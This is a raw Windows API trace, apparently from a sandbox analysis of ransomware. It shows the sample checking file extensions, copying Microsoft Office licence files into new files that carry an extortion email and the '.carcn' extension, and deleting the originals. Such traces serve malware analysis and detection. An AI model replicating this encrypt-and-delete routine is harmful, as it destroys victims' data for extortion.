[0283.781] lstrlenW (lpString=".pdf") returned 4 [0283.781] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0283.781] lstrlenW (lpString=".xls") returned 4 [0283.781] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0283.781] lstrlenW (lpString=".xlsx") returned 5 [0283.781] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0283.781] lstrlenW (lpString=".ppt") returned 4 [0283.781] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0283.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.781] lstrlenW (lpString=".zip") returned 4 [0283.781] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0283.781] lstrlenW (lpString=".rar") returned 4 [0283.781] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0283.781] lstrlenW (lpString=".bz2") returned 4 [0283.781] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0283.781] lstrlenW (lpString=".7z") returned 3 [0283.781] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0283.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.781] lstrlenW (lpString=".dbf") returned 4 [0283.781] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0283.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.782] lstrlenW (lpString=".1cd") returned 4 [0283.782] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0283.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.782] lstrlenW (lpString=".jpg") returned 4 [0283.782] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0283.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.782] lstrlenW (lpString=".doc") returned 4 [0283.782] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0283.782] lstrlenW (lpString=".docx") returned 5 [0283.782] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0283.782] lstrlenW (lpString=".pdf") returned 4 [0283.782] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0283.782] lstrlenW (lpString=".xls") returned 4 [0283.782] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0283.782] lstrlenW (lpString=".xlsx") returned 5 [0283.782] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0283.782] lstrlenW (lpString=".ppt") returned 4 [0283.782] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0283.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.782] lstrlenW (lpString=".zip") returned 4 [0283.782] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0283.782] lstrlenW (lpString=".rar") returned 4 [0283.782] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0283.782] lstrlenW (lpString=".bz2") returned 4 [0283.782] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0283.782] lstrlenW (lpString=".7z") returned 3 [0283.783] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0283.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.783] lstrlenW (lpString=".dbf") returned 4 [0283.783] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0283.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.783] lstrlenW (lpString=".1cd") returned 4 [0283.783] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0283.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0283.783] lstrlenW (lpString=".jpg") returned 4 [0283.783] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0283.783] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0283.783] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24 [0283.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.784] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=20901) returned 1 [0283.784] CloseHandle (hObject=0x524) returned 1 [0283.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0283.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.785] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.785] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0283.786] GetLastError () returned 0x0 [0283.786] ReadFile (in: hFile=0x524, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0283.801] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0283.803] ReadFile (in: hFile=0x524, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.803] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x104, lpOverlapped=0x0) returned 1 [0283.803] SetEndOfFile (hFile=0x554) returned 1 [0283.989] CloseHandle (hObject=0x554) returned 1 [0283.989] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.989] SetEndOfFile (hFile=0x524) returned 1 [0283.993] CloseHandle (hObject=0x524) returned 1 [0283.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0284.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.004] lstrlenW (lpString=".doc") returned 4 [0284.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.004] lstrlenW (lpString=".docx") returned 5 [0284.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.004] lstrlenW (lpString=".pdf") returned 4 [0284.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.004] lstrlenW (lpString=".xls") returned 4 [0284.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.004] lstrlenW (lpString=".xlsx") returned 5 [0284.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.004] lstrlenW (lpString=".ppt") returned 4 [0284.004] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.004] lstrlenW (lpString=".zip") returned 4 [0284.004] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.004] lstrlenW (lpString=".rar") returned 4 [0284.004] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.005] lstrlenW (lpString=".bz2") returned 4 [0284.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.005] lstrlenW (lpString=".7z") returned 3 [0284.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.005] lstrlenW (lpString=".dbf") returned 4 [0284.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.005] lstrlenW (lpString=".1cd") returned 4 [0284.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.005] lstrlenW (lpString=".jpg") returned 4 [0284.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.005] lstrlenW (lpString=".doc") returned 4 [0284.005] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.005] lstrlenW (lpString=".docx") returned 5 [0284.005] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.005] lstrlenW (lpString=".pdf") returned 4 [0284.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString=".xls") returned 4 [0284.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString=".xlsx") returned 5 [0284.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.006] lstrlenW (lpString=".ppt") returned 4 [0284.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.006] lstrlenW (lpString=".zip") returned 4 [0284.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString=".rar") returned 4 [0284.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString=".bz2") returned 4 [0284.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString=".7z") returned 3 [0284.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.006] lstrlenW (lpString=".dbf") returned 4 [0284.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.006] lstrlenW (lpString=".1cd") returned 4 [0284.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0284.007] lstrlenW (lpString=".jpg") returned 4 [0284.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.007] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.007] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0284.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.008] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6794) returned 1 [0284.008] CloseHandle (hObject=0x438) returned 1 [0284.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0284.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.009] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.009] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0284.010] GetLastError () returned 0x0 [0284.010] ReadFile (in: hFile=0x438, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0284.024] WriteFile (in: hFile=0x524, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0284.026] ReadFile (in: hFile=0x438, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.026] WriteFile (in: hFile=0x524, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0284.026] SetEndOfFile (hFile=0x524) returned 1 [0284.026] CloseHandle (hObject=0x524) returned 1 [0284.026] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.026] SetEndOfFile (hFile=0x438) returned 1 [0284.031] CloseHandle (hObject=0x438) returned 1 [0284.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0284.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.033] lstrlenW (lpString=".doc") returned 4 [0284.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.033] lstrlenW (lpString=".docx") returned 5 [0284.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.033] lstrlenW (lpString=".pdf") returned 4 [0284.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.033] lstrlenW (lpString=".xls") returned 4 [0284.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.033] lstrlenW (lpString=".xlsx") returned 5 [0284.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.033] lstrlenW (lpString=".ppt") returned 4 [0284.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.033] lstrlenW (lpString=".zip") returned 4 [0284.033] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.033] lstrlenW (lpString=".rar") returned 4 [0284.033] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.033] lstrlenW (lpString=".bz2") returned 4 [0284.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.034] lstrlenW (lpString=".7z") returned 3 [0284.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.034] lstrlenW (lpString=".dbf") returned 4 [0284.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.034] lstrlenW (lpString=".1cd") returned 4 [0284.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.034] lstrlenW (lpString=".jpg") returned 4 [0284.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.034] lstrlenW (lpString=".doc") returned 4 [0284.034] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.034] lstrlenW (lpString=".docx") returned 5 [0284.035] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.035] lstrlenW (lpString=".pdf") returned 4 [0284.035] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString=".xls") returned 4 [0284.035] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString=".xlsx") returned 5 [0284.035] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.035] lstrlenW (lpString=".ppt") returned 4 [0284.035] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.035] lstrlenW (lpString=".zip") returned 4 [0284.035] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString=".rar") returned 4 [0284.035] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString=".bz2") returned 4 [0284.035] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString=".7z") returned 3 [0284.035] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.035] lstrlenW (lpString=".dbf") returned 4 [0284.035] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.036] lstrlenW (lpString=".1cd") returned 4 [0284.036] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0284.036] lstrlenW (lpString=".jpg") returned 4 [0284.036] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.036] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.036] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29 [0284.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.037] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=9606) returned 1 [0284.037] CloseHandle (hObject=0x438) returned 1 [0284.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0284.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.045] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.045] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0284.046] GetLastError () returned 0x0 [0284.046] ReadFile (in: hFile=0x438, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2586, lpOverlapped=0x0) returned 1 [0284.057] WriteFile (in: hFile=0x524, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2590, lpOverlapped=0x0) returned 1 [0284.060] ReadFile (in: hFile=0x438, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.060] WriteFile (in: hFile=0x524, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0284.060] SetEndOfFile (hFile=0x524) returned 1 [0284.060] CloseHandle (hObject=0x524) returned 1 [0284.060] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.061] SetEndOfFile (hFile=0x438) returned 1 [0284.251] CloseHandle (hObject=0x438) returned 1 [0284.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0284.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0284.252] lstrlenW (lpString=".doc") returned 4 [0284.252] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 